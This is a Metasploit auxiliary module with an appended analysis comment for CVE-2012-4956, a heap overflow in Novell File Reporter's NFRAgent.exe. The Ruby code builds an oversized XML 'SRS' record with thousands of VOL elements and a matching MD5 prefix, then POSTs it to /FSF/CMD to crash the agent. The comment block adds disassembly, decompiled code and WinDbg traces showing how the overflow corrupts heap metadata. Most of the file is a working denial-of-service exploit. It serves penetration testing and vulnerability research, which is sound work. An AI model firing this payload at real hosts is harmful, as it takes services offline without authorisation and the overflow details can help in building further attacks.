modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'NFR Agent Heap Overflow Vulnerability',
'Description' => %q{
This module exploits a heap overflow in NFRAgent.exe, a component of Novell
File Reporter (NFR). The vulnerability occurs when handling requests of name "SRS",
where NFRAgent.exe fails to generate a response in a secure way, copying user
controlled data into a fixed-length buffer in the heap without bounds checking.
This module has been tested against NFR Agent 1.0.4.3 (File Reporter 1.0.2).
},
'Author' => [ 'juan vazquez' ],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2012-4956' ],
[ 'URL', 'https://www.rapid7.com/blog/post/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959/' ]
],
'DisclosureDate' => '2012-11-16'))
register_options(
[
Opt::RPORT(3037),
OptBool.new('SSL', [true, 'Use SSL', true])
])
end
def run
record = "<RECORD>"
record << "<NAME>SRS</NAME><OPERATION>4</OPERATION><CMD>7</CMD>" # Operation
record << "<VOL>#{Rex::Text.rand_text_alpha(10)}</VOL>" * 0xc35 # Volumes
record << "</RECORD>"
md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase
message = md5 + record
print_status("Triggering a heap overflow to cause DoS...")
begin
res = send_request_cgi(
{
'uri' => '/FSF/CMD',
'version' => '1.1',
'method' => 'POST',
'ctype' => "text/xml",
'data' => message
})
rescue ::Errno::ECONNRESET
print_good("NFR Agent didn't answer, DoS seems successful")
return
end
if res
print_error("NFR Agent didn't die, it still answers...")
return
end
print_good("NFR Agent didn't answer, DoS seems successful")
end
end
=begin
* Static analysis
1) Handling of "SRS" records happens in handle_SRS_sub_4048D0:
.text:00404BE9 add esp, 0Ch
.text:00404BEC push 14h ; length_arg_C
.text:00404BEE lea eax, [ebp+record_name_var_28]
.text:00404BF1 push eax ; result_arg_8
.text:00404BF2 push offset aName ; "NAME"
.text:00404BF7 mov ecx, [ebp+message_arg_8]
.text:00404BFA add ecx, 20h
.text:00404BFD push ecx ; xml_message_arg_0
.text:00404BFE mov ecx, [ebp+var_2C]
.text:00404C01 call parse_tag_sub_40A760 ; search tag "NAME" in the xml_message_arg_0 and store contents int he "record_name_var_28" variable
.text:00404C06 movzx edx, al
.text:00404C09 test edx, edx
.text:00404C0B jz short loc_404C8B
.text:00404C0D push offset aSrs_2 ; "SRS"
.text:00404C12 lea eax, [ebp+record_name_var_28]
.text:00404C15 push eax ; char *
.text:00404C16 call _strcmp ; compares the contents of the "NAME" element in the xml message from the request with the "SRS" string.
.text:00404C1B add esp, 8
.text:00404C1E test eax, eax
.text:00404C20 jnz short loc_404C38 ; if not "SRS" name check others, if yes, handle it...
.text:00404C22 mov ecx, [ebp+message_arg_8]
.text:00404C25 push ecx ; void *
.text:00404C26 mov edx, [ebp+arg_4]
.text:00404C29 push edx ; int
.text:00404C2A mov eax, [ebp+arg_0]
.text:00404C2D push eax ; int
.text:00404C2E call handle_SRS_sub_4048D0 ; handle the XML message with the RECORD of NAME "SRS"
2) In this function memory is allocated to store the response which will be build:
.text:00404903 push 0C350h ; size_t
.text:00404908 call _malloc
.text:0040490D add esp, 4
.text:00404910 mov [ebp+response_var_8], eax
0:007> g
Breakpoint 0 hit
eax=009e68b8 ebx=003f3bf8 ecx=b85645ca edx=7c90e4f4 esi=003f3bf8 edi=00000000
eip=00404908 esp=0120ff4c ebp=0120ff58 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
NFRAgent+0x4908:
00404908 e84cef0300 call NFRAgent+0x43859 (00443859)
0:007> dd esp L1
0120ff4c 0000c350
0:007> p
eax=01220110 ebx=003f5e20 ecx=7c9101bb edx=009e0608 esi=003f5e20 edi=00000000
eip=0040490d esp=0120ff4c ebp=0120ff58 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
NFRAgent+0x490d:
0040490d 83c404 add esp,4
0:007> !heap -p -a eax
address 01220110 found in
_HEAP @ 9e0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
01220108 186b 0000 [01] 01220110 0c350 - (busy)
3) The SRS record used in this module is handled by:
.text:004082E0 ; int __stdcall SRS_7_4_sub_4082E0(char *xml_message_arg_0, char
*result_response_arg_4)
4) The handling function allow to overflow the heap buffer when a big number of VOL elements are processed:
for ( vol_object_var_254 = v25; vol_object_var_254; vol_object_var_254 = *(_DWORD
*)(vol_object_var_254 + 12) )
{
parse_tag_sub_40A760((void *)v15, *(const char **)vol_object_var_254, (int)"VOL",
&vol_name_var_20c, 0x1F4u); // get VOL element
volume_fspace_vol_35C = handle_volume_sub_4081E0(&vol_name_var_20c); // Retrieve Volume
Free Space
volume_fscape_var_358 = v2;
vol_name_html_encode_var_494 = html_encode_sub_40B490(&vol_name_var_20c); // HTML Encode
the volume name (user controlled data)
if ( vol_name_html_encode_var_494 )
{ // If the volume name has been HTML Encoded
v3 = volume_fscape_var_358;
v4 = volume_fspace_vol_35C;
v5 = vol_name_html_encode_var_494;
v6 = strlen(result_response_arg_4);
sprintf(&result_response_arg_4[v6], "<VOL><NAME>%s</NAME><FSPACE>%I64d</FSPACE></VOL>",
v5, v4, v3); // Vulnerability!!! sprintf user controlled data (volume name) to the end of the
fix-length buffer in the heap without bound checking
free(vol_name_html_encode_var_494);
vol_name_html_encode_var_494 = 0;
}
else
{ // If the volume name hasn’t been HTML Encoded
v7 = volume_fscape_var_358;
v8 = volume_fspace_vol_35C;
v9 = strlen(result_response_arg_4);
sprintf(
&result_response_arg_4[v9], // Vulnerability!!! sprintf user controlled data (volume
name) to the end of the fix-length buffer in the heap without bound checking
"<VOL><NAME>%s</NAME><FSPACE>%I64d</FSPACE></VOL>",
&vol_name_var_20c,
v8,
v7);
}
}
The results for every volume (VOL element) are attached to the fixed-length heap buffer via the sprintf at 004085C5:
Breakpoint 1 hit
eax=0122013e ebx=003f5e20 ecx=01220110 edx=c7ff3d52 esi=00479f89 edi=0120f1a1
eip=004085c5 esp=0120eec8 ebp=0120f3c0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
NFRAgent+0x85c5:
004085c5 e84ea70300 call NFRAgent+0x42d18 (00442d18)
0:007> dd esp L1
0120eec8 0122013e
0:007> !heap -p -a 0122013e
address 0122013e found in
_HEAP @ 9e0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
01220108 186b 0000 [01] 01220110 0c350 - (busy)
0:007> da poi(esp+4)
0047a040 "<VOL><NAME>%s</NAME><FSPACE>%I64"
0047a060 "d</FSPACE></VOL>"
0:007> da poi(esp+8)
01250208 "AAAAAAAAAA"
After the loop handling VOL overflows the heap buffer and both heap chunk metadata and contents are
overwritten for the chunk just after the vulnerable one:
0:007> g
Breakpoint 0 hit
eax=00000000 ebx=003f5e20 ecx=00443085 edx=012501b0 esi=00479f89 edi=0120f1a1
eip=00408645 esp=0120eedc ebp=0120f3c0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
NFRAgent+0x8645:
00408645 c7852cfbffff00000000 mov dword ptr [ebp-4D4h],0 ss:0023:0120eeec=03ee2001
0:007> !heap -p -a 01220110
address 01220110 found in
_HEAP @ 9e0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
01220108 186b 0000 [01] 01220110 0c350 - (busy)
0:007> !heap -p -a 01220110+0xc350
address 0122c460 found in
_HEAP @ 9e0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0122c460 3e45 0000 [46] 0122c468 1f220 - (free)
0:007> db 0122c460 L8
0122c460 45 3e 30 3c 2f 46 53 50 E>0</FSP
0:007> db 0122c468 L10
0122c468 41 43 45 3e 3c 2f 56 4f-4c 3e 3c 56 4f 4c 3e 3c ACE></VOL><VOL><
=end